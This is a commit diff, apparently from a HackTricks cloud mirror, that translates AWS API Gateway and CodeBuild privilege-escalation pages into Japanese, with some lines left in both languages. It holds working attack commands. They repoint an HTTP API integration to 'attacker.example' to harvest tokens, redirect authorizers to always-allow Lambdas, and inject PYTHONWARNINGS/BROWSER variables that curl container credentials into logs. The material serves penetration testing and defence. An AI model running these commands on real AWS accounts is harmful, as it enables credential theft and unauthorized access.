mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-privilege-escalat
This commit is contained in:
@@ -4,7 +4,7 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information go to:
|
||||
詳細は次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,21 +12,43 @@ For more information go to:
|
||||
|
||||
### リソースポリシー
|
||||
|
||||
Modify the resource policy of the API gateway(s) to grant yourself access to them
|
||||
API gateway(s) のリソースポリシーを変更して、自分にアクセス権を付与します。
|
||||
|
||||
### Lambda Authorizers の変更
|
||||
|
||||
Modify the code of lambda authorizers to grant yourself access to all the endpoints.\
|
||||
Or just remove the use of the authorizer.
|
||||
lambda authorizers のコードを変更して、すべてのエンドポイントへのアクセス権を自分に付与します。あるいは単に authorizer の使用を削除してください。
|
||||
|
||||
コントロールプレーン権限で **authorizer を作成/更新できる**(REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`)場合、**常に許可する Lambda に authorizer を向け直す** こともできます。
|
||||
|
||||
REST APIs(変更には通常デプロイが必要):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
REST_API_ID="<rest_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
|
||||
```
|
||||
HTTP APIs / `apigatewayv2`(多くの場合、即座に反映されます):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### IAM Permissions
|
||||
|
||||
If a resource is using IAM authorizer you could give yourself access to it modifying IAM permissions.\
|
||||
Or just remove the use of the authorizer.
|
||||
リソースが IAM authorizer を使用している場合、IAM permissions を変更して自分にアクセスを与えることができます。\
|
||||
または単に authorizer の使用をやめてください。
|
||||
|
||||
### API Keys
|
||||
|
||||
If API keys are used, you could leak them to maintain persistence or even create new ones.\
|
||||
Or just remove the use of API keys.
|
||||
API keys が使われている場合、それらを leak して persistence を維持したり、新しいものを作成したりできます。\
|
||||
または単に API keys の使用をやめてください。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,43 +4,68 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
詳細は次を参照してください:
|
||||
For more information check:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 未公開の API にアクセス
|
||||
### 未公開のAPIへのアクセス
|
||||
|
||||
[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) にサービス `com.amazonaws.us-east-1.execute-api` でエンドポイントを作成し、アクセス可能なネットワーク(場合によっては EC2 マシン経由)にエンドポイントを公開し、すべての接続を許可するセキュリティグループを割り当てることができます。\
|
||||
その後、EC2 マシンからエンドポイントにアクセスでき、これまで外部に公開されていなかった API Gateway を呼び出すことができます。
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
その後、EC2マシンからそのエンドポイントにアクセスできるようになり、以前は公開されていなかった gateway API を呼び出せるようになります。
|
||||
|
||||
### Bypass Request body passthrough
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
|
||||
[**AWS documentation**] の `PassthroughBehavior` セクションにあるように、デフォルトでは、リクエストの **Content-Type** ヘッダを確認する際に値 **`WHEN_NO_MATCH`** は変換を行わずにリクエストをバックエンドに渡します。
|
||||
|
||||
したがって、CTF では API Gateway に統合テンプレートが設定されており、リクエストが `Content-Type: application/json` で送信された場合にレスポンス内で **preventing the flag from being exfiltrated** という挙動になっていました:
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
したがって、CTFでは、API Gateway の統合テンプレートが `Content-Type: application/json` のリクエストを送ったときにレスポンスで **preventing the flag from being exfiltrated** していました:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
しかし、**`Content-type: text/json`** を送信するとそのフィルタを回避できた。
|
||||
しかし、**`Content-type: text/json`** を使ってリクエストを送ると、そのフィルタを回避できました。
|
||||
|
||||
最後に、API Gatewayが `Get` と `Options` のみを許可していたため、ボディにクエリを入れてPOSTリクエストを送信し、ヘッダ `X-HTTP-Method-Override: GET` を使用することで、任意のdynamoDBクエリを制限なく送信できた:
|
||||
最後に、API Gateway が `Get` と `Options` のみを許可していたため、ボディにクエリを入れて POST リクエストを送り、ヘッダー `X-HTTP-Method-Override: GET` を使用することで、任意の dynamoDB クエリを制限なく送信することが可能でした:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### Usage Plans DoS
|
||||
|
||||
この **Enumeration** セクションでは、キーの **usage plan を取得する** 方法が確認できます。キーを所持していて、1か月あたり X 回に **制限されている** 場合は、単にそのキーを使い続けて **DoS を引き起こす** ことが可能です。
|
||||
**Enumeration** セクションでは、キーの **usage plan を取得する方法** が確認できます。キーを持っていて、それが月あたり X 回の使用に **制限されている** 場合、単にそれを使用して **DoS を引き起こす** ことができます。
|
||||
|
||||
The **API Key** は **`x-api-key`** という **HTTP header** に **含める** だけで構いません。
|
||||
**API Key** は **`x-api-key`** という **HTTP header** に **含める** だけで良いです。
|
||||
|
||||
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
|
||||
|
||||
もし **HTTP API integration** を更新できるなら、機密性の高いルート(例: `/login`, `/token`, `/submit`)を攻撃者制御の HTTP エンドポイントに **差し替え** して、ヘッダーやボディ(cookies、`Authorization` ベアラートークン、セッションID、API keys、内部ジョブが送る secrets など)を静かに **収集** できます。
|
||||
|
||||
Example workflow:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
|
||||
# Find routes and the integration attached to the interesting route
|
||||
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
|
||||
ROUTE_ID="<route_id>"
|
||||
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
|
||||
|
||||
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
|
||||
COLLECTOR_URL="https://attacker.example/collect"
|
||||
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
|
||||
```
|
||||
注意:
|
||||
|
||||
- For **HTTP APIs**, 変更は通常すぐに反映されます(通常、deployment を作成する必要がある REST APIs とは異なります)。
|
||||
- 任意の URL を指せるかどうかは integration type/config に依存します。場合によっては patching 時に integration type を変更できることもあります。
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
権限 `apigateway:UpdateGatewayResponse` と `apigateway:CreateDeployment` を持つ攻撃者は、**既存の Gateway Response を修正してカスタムヘッダやレスポンステンプレートを含め、機密情報を leak したり悪意あるスクリプトを実行させたりすることができます**。
|
||||
`apigateway:UpdateGatewayResponse` と `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存の Gateway Response を変更してカスタムヘッダーやレスポンステンプレートを含め、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます**。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -51,14 +76,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: 機密情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。
|
||||
**Potential Impact**: Leakage of sensitive information、悪意のあるスクリプトの実行、またはAPIリソースへの不正アクセス。
|
||||
|
||||
> [!NOTE]
|
||||
> テストが必要
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:UpdateStage` と `apigateway:CreateDeployment` の権限を持つ攻撃者は、**既存の API Gateway ステージを変更してトラフィックを別のステージにリダイレクトしたり、キャッシュ設定を変更してキャッシュされたデータへ不正にアクセスしたりすることができます**。
|
||||
権限 `apigateway:UpdateStage` と `apigateway:CreateDeployment` を持つ攻撃者は、**既存の API Gateway stage を変更してトラフィックを別の stage にリダイレクトしたり、キャッシュ設定を変更してキャッシュされたデータに不正にアクセスする** ことができます。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -69,14 +94,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**潜在的影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの妨害や傍受。
|
||||
**潜在的な影響**: キャッシュされたデータへの不正アクセス、APIトラフィックの妨害や傍受。
|
||||
|
||||
> [!NOTE]
|
||||
> 検証が必要です
|
||||
> テストが必要
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
権限 `apigateway:PutMethodResponse` と `apigateway:CreateDeployment` を持つ攻撃者は、既存の API Gateway REST API メソッドのメソッドレスポンスを **カスタムヘッダーやレスポンステンプレートを含めるように変更し、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます**。
|
||||
権限 `apigateway:PutMethodResponse` および `apigateway:CreateDeployment` を持つ攻撃者は、既存の API Gateway REST API メソッドのメソッドレスポンスを変更して、カスタムヘッダーやレスポンステンプレートを含め、機密情報を leak したり悪意のあるスクリプトを実行させたりすることができます。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -89,14 +114,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: 敏感情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。
|
||||
**潜在的な影響**: 敏感な情報の漏洩、悪意のあるスクリプトの実行、または API リソースへの不正アクセス。
|
||||
|
||||
> [!NOTE]
|
||||
> テストが必要
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
`apigateway:UpdateRestApi` および `apigateway:CreateDeployment` の権限を持つ攻撃者は、**API Gateway REST API の設定を変更してログ記録を無効化したり、最小 TLS バージョンを変更したりして、API のセキュリティを弱体化させる可能性があります**。
|
||||
権限 `apigateway:UpdateRestApi` と `apigateway:CreateDeployment` を持つ攻撃者は、**API Gateway REST API の設定を変更してログ記録を無効化したり、最小 TLS バージョンを変更したりして、API のセキュリティを低下させる可能性があります。**
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,14 +131,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: APIのセキュリティが弱まり、不正アクセスや機密情報が漏洩する可能性があります。
|
||||
**潜在的な影響**: APIのセキュリティが弱まり、不正アクセスや機密情報の露出を招く可能性があります。
|
||||
|
||||
> [!NOTE]
|
||||
> テストが必要
|
||||
> 要検証
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
権限 `apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan`、および `apigateway:CreateUsagePlanKey` を持つ攻撃者は、**新しい API keys を作成し、それらを usage plans に関連付け、これらのキーを使って APIs へ不正アクセスを行うことができます**。
|
||||
権限 `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, および `apigateway:CreateUsagePlanKey` を持つ攻撃者は、**新しい API キーを作成し、それらを使用プランに関連付け、これらのキーを用いて API に不正アクセスすることができる**。
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Apigateway
|
||||
|
||||
詳しくは以下を参照してください:
|
||||
詳細は以下を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,37 +12,37 @@
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
この権限があれば、構成されている APIs の API keys を生成できます(リージョンごとに)。
|
||||
この権限があれば、(リージョンごとに)設定されている API の API keys を生成できます。
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
**Potential Impact:** この手法ではprivescはできませんが、機密情報にアクセスできる可能性があります。
|
||||
**潜在的な影響:** この手法ではprivescはできませんが、機密情報にアクセスできる可能性があります。
|
||||
|
||||
### `apigateway:GET`
|
||||
|
||||
この権限があれば、設定されているAPIの生成済み API キーを取得できます(リージョンごと)。
|
||||
この権限があれば、設定されたAPIの生成されたAPIキーを取得できます(リージョンごとに)。
|
||||
```bash
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
**潜在的影響:** この手法ではprivescはできませんが、機密情報にアクセスできる可能性があります。
|
||||
**Potential Impact:** この手法では privesc はできませんが、機密情報にアクセスできる可能性があります。
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
これらの権限があれば、APIのリソースポリシーを変更して自分にそのAPIを呼び出すアクセス権を与え、API gatewayが持つ可能性のあるアクセス(例:脆弱なlambdaを呼び出すこと)を悪用することが可能です。
|
||||
これらの権限があれば、API のリソースポリシーを変更して自分に呼び出し権限を付与し、API gateway が持つ可能性のあるアクセスを悪用することができます(例えば脆弱な lambda を呼び出すなど)。
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
**潜在的影響:** 通常、この手法で直接privescできることは少ないですが、機密情報にアクセスできる可能性があります。
|
||||
**潜在的影響:** 通常、この手法で直接privescすることはできませんが、機密情報にアクセスできる可能性があります。
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> テストが必要
|
||||
|
||||
`apigateway:PutIntegration`、`apigateway:CreateDeployment`、および `iam:PassRole` の権限を持つ攻撃者は、**IAM ロールが割り当てられた Lambda 関数を使用して既存の API Gateway REST API に新しい統合を追加**できます。攻撃者はその後、**Lambda 関数をトリガーして任意のコードを実行させ、IAM ロールに紐づくリソースにアクセスする可能性**があります。
|
||||
`apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole` の権限を持つ攻撃者は、**IAM role が付与された Lambda function を既存の API Gateway REST API に新しい integration として追加することができます**。攻撃者はその Lambda function を **トリガーして任意のコードを実行させ、IAM role に関連付けられたリソースへアクセスする可能性があります**。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: Lambda function の IAM role に関連付けられたリソースへのアクセス。
|
||||
**潜在的な影響**: Lambda 関数の IAM ロールに関連付けられたリソースへのアクセス。
|
||||
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
> [!NOTE]
|
||||
> テストが必要
|
||||
> 要検証
|
||||
|
||||
攻撃者が `apigateway:UpdateAuthorizer` と `apigateway:CreateDeployment` の権限を持っていると、**既存の API Gateway authorizer を変更**してセキュリティチェックを回避したり、API リクエストが行われたときに任意のコードを実行させたりすることができます。
|
||||
apigateway:UpdateAuthorizer と apigateway:CreateDeployment の権限を持つ攻撃者は、既存の API Gateway authorizer を **変更して** セキュリティチェックを回避できる(例: 常に "allow" を返す Lambda に向け直す)、または API リクエスト時に任意のコードを実行させることができる。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -75,14 +75,26 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**潜在的影響**: セキュリティチェックの回避、APIリソースへの不正アクセス。
|
||||
**Potential Impact**: セキュリティチェックの回避、APIリソースへの不正アクセス。
|
||||
|
||||
#### HTTP APIs / `apigatewayv2` バリエーション
|
||||
|
||||
HTTP APIs (API Gateway v2)の場合、同等の操作は`apigatewayv2`を介してauthorizerを更新することです:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTE]
|
||||
> 検証が必要
|
||||
> テストが必要
|
||||
|
||||
`apigateway:UpdateVpcLink` の権限を持つ攻撃者は **既存の VPC Link を別の Network Load Balancer を指すように変更でき、プライベートAPIトラフィックを不正または悪意のあるリソースにリダイレクトする可能性がある**。
|
||||
`apigateway:UpdateVpcLink` の権限を持つ攻撃者は、**既存の VPC Link を別の Network Load Balancer を指すように変更し、プライベート API トラフィックを未許可または悪意のあるリソースへリダイレクトする可能性がある**。
|
||||
```bash
|
||||
VPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## codebuild
|
||||
|
||||
詳細情報:
|
||||
詳しくは以下を参照:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
これらのいずれかの権限があれば、新しい buildspec でビルドを起動して、プロジェクトに割り当てられた iam role のトークンを盗むことができます:
|
||||
これらのいずれかの権限があれば、新しい buildspec を指定してビルドを実行し、プロジェクトに割り当てられた iam role の token を奪うことができます:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -58,16 +58,79 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**Note**: この2つのコマンドの違いは次のとおりです:
|
||||
**注意**: これら二つのコマンドの違いは次の通りです:
|
||||
|
||||
- `StartBuild` は特定の `buildspec.yml` を使用して単一のビルドジョブを開始します。
|
||||
- `StartBuildBatch` は、より複雑な構成(複数のビルドを並列で実行するなど)でビルドのバッチを開始できます。
|
||||
- `StartBuild` は特定の `buildspec.yml` を使って単一のビルドジョブをトリガーします。
|
||||
- `StartBuildBatch` は複数のビルドを並列実行するようなより複雑な構成でバッチビルドを開始できます。
|
||||
|
||||
**Potential Impact:** アタッチされた AWS Codebuild ロールへの直接的な privesc。
|
||||
**潜在的影響:** 直接的な privesc をアタッチされた AWS Codebuild ロールへ。
|
||||
|
||||
#### StartBuild Env Var Override
|
||||
|
||||
たとえ **プロジェクトを変更できない**(`UpdateProject`)かつ **buildspec を上書きできない** 場合でも、`codebuild:StartBuild` はビルド時に環境変数を上書きすることが可能です。次の方法で:
|
||||
|
||||
- CLI: `--environment-variables-override`
|
||||
- API: `environmentVariablesOverride`
|
||||
|
||||
ビルドが挙動の制御(アップロード先バケット、feature flags、proxy 設定、ログ出力など)に環境変数を使っている場合、これだけでビルドロールがアクセスできるシークレットを**持ち出す**(exfiltrate)ことや、ビルド内で**コード実行**を得るのに十分な場合があります。
|
||||
|
||||
##### Example 1: Redirect Artifact/Upload Destination to Exfiltrate Secrets
|
||||
|
||||
ビルドが環境変数(例えば `UPLOAD_BUCKET`)で制御されるバケット/パスへアーティファクトを公開する場合、それを攻撃者が管理するバケットに上書きします:
|
||||
```bash
|
||||
export PROJECT="<project-name>"
|
||||
export EXFIL_BUCKET="<attacker-controlled-bucket>"
|
||||
|
||||
export BUILD_ID=$(aws codebuild start-build \
|
||||
--project-name "$PROJECT" \
|
||||
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
|
||||
--query build.id --output text)
|
||||
|
||||
# Wait for completion
|
||||
while true; do
|
||||
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
|
||||
[ "$STATUS" = "SUCCEEDED" ] && break
|
||||
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
|
||||
sleep 5
|
||||
done
|
||||
|
||||
# Example expected location (depends on the buildspec/project logic):
|
||||
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
|
||||
```
|
||||
##### 例2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
|
||||
|
||||
もしビルドが `python3` を実行する場合(buildspecsで一般的)、buildspecに触れずにコード実行を得られることがあります。手法は次のとおりです:
|
||||
|
||||
- `PYTHONWARNINGS`: Python は *category* フィールドを解決し、ドット区切りのパスをインポートします。これを `...:antigravity.x:...` に設定すると、stdlib モジュール `antigravity` のインポートが強制されます。
|
||||
- `antigravity`: `webbrowser.open(...)` を呼び出します。
|
||||
- `BROWSER`: `webbrowser` が実行するものを制御します。Linux では `:` 区切りです。`#%s` を使うと URL 引数がシェルのコメントになります。
|
||||
|
||||
これを使って CodeBuild ロールの認証情報(`http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI` から)を CloudWatch ログに出力し、ログの読み取り権限があれば回収できます。
|
||||
|
||||
<details>
|
||||
<summary>展開可能: <code>PYTHONWARNINGS</code> + <code>BROWSER</code> トリック用の StartBuild JSON リクエスト</summary>
|
||||
```json
|
||||
{
|
||||
"projectName": "codebuild_lab_7_project",
|
||||
"environmentVariablesOverride": [
|
||||
{
|
||||
"name": "PYTHONWARNINGS",
|
||||
"value": "all:0:antigravity.x:0:0",
|
||||
"type": "PLAINTEXT"
|
||||
},
|
||||
{
|
||||
"name": "BROWSER",
|
||||
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
|
||||
"type": "PLAINTEXT"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
攻撃者が **`iam:PassRole`、`codebuild:CreateProject`、および `codebuild:StartBuild` または `codebuild:StartBuildBatch`** の権限を持っている場合、プロジェクトを作成して実行中にすることで、任意の codebuild IAM role に対して **escalate privileges** することができます。
|
||||
攻撃者が**`iam:PassRole`, `codebuild:CreateProject`, および `codebuild:StartBuild` または `codebuild:StartBuildBatch`**の権限を持っている場合、実行中の codebuild プロジェクトを作成することで、**任意の codebuild IAM role に権限を昇格させる**ことができる。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -174,17 +237,17 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
**Potential Impact:** 任意の AWS Codebuild ロールへの直接的な privesc。
|
||||
|
||||
> [!WARNING]
|
||||
> **Codebuild container** 内のファイル `/codebuild/output/tmp/env.sh` は **metadata credentials** にアクセスするために必要な全ての env vars を含んでいます。
|
||||
>
|
||||
> このファイルには **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** が含まれており、資格情報にアクセスするための **URL path** を含んでいます。例として `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` のような形式になります。
|
||||
>
|
||||
> それを URL **`http://169.254.170.2/`** に追加すると、ロールの資格情報をダンプできます。
|
||||
>
|
||||
> さらに、**env variable `ECS_CONTAINER_METADATA_URI`** も含まれており、コンテナに関する **metadata info** を取得するための完全な URL が入っています。
|
||||
> **Codebuild container** 内のファイル `/codebuild/output/tmp/env.sh` には、**metadata credentials** にアクセスするために必要なすべての env vars が含まれています。
|
||||
|
||||
> このファイルには **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** が含まれており、認証情報にアクセスするための **URL path** を示しています。例えば次のような形式です `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> それを URL **`http://169.254.170.2/`** に追加すると、role credentials を dump できます。
|
||||
|
||||
> さらに、コンテナのメタデータ情報を取得するための完全な URL を含む **env variable `ECS_CONTAINER_METADATA_URI`** も含まれています。
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
前のセクションと同様に、build project を作成する代わりにそれを変更できる場合、IAM Role を指定して token を奪取できます。
|
||||
前のセクションと同様に、build project を作成する代わりに変更できる場合、IAM Role を指定してトークンを盗むことができます。
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -218,11 +281,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
**Potential Impact:** 任意の AWS Codebuild role への直接的な privesc。
|
||||
**Potential Impact:** 任意の AWS Codebuild ロールへの直接 privesc。
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
前節と同様ですが、**`iam:PassRole` 権限がなくても**、これらの権限を悪用して**既存の Codebuild プロジェクトを変更し、既に割り当てられている role にアクセスできます**。
|
||||
前節と同様ですが、**`iam:PassRole` 権限なしで**、これらの権限を悪用して**既存の Codebuild プロジェクトを変更し、既に割り当てられているロールへアクセスできます**。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -298,13 +361,13 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
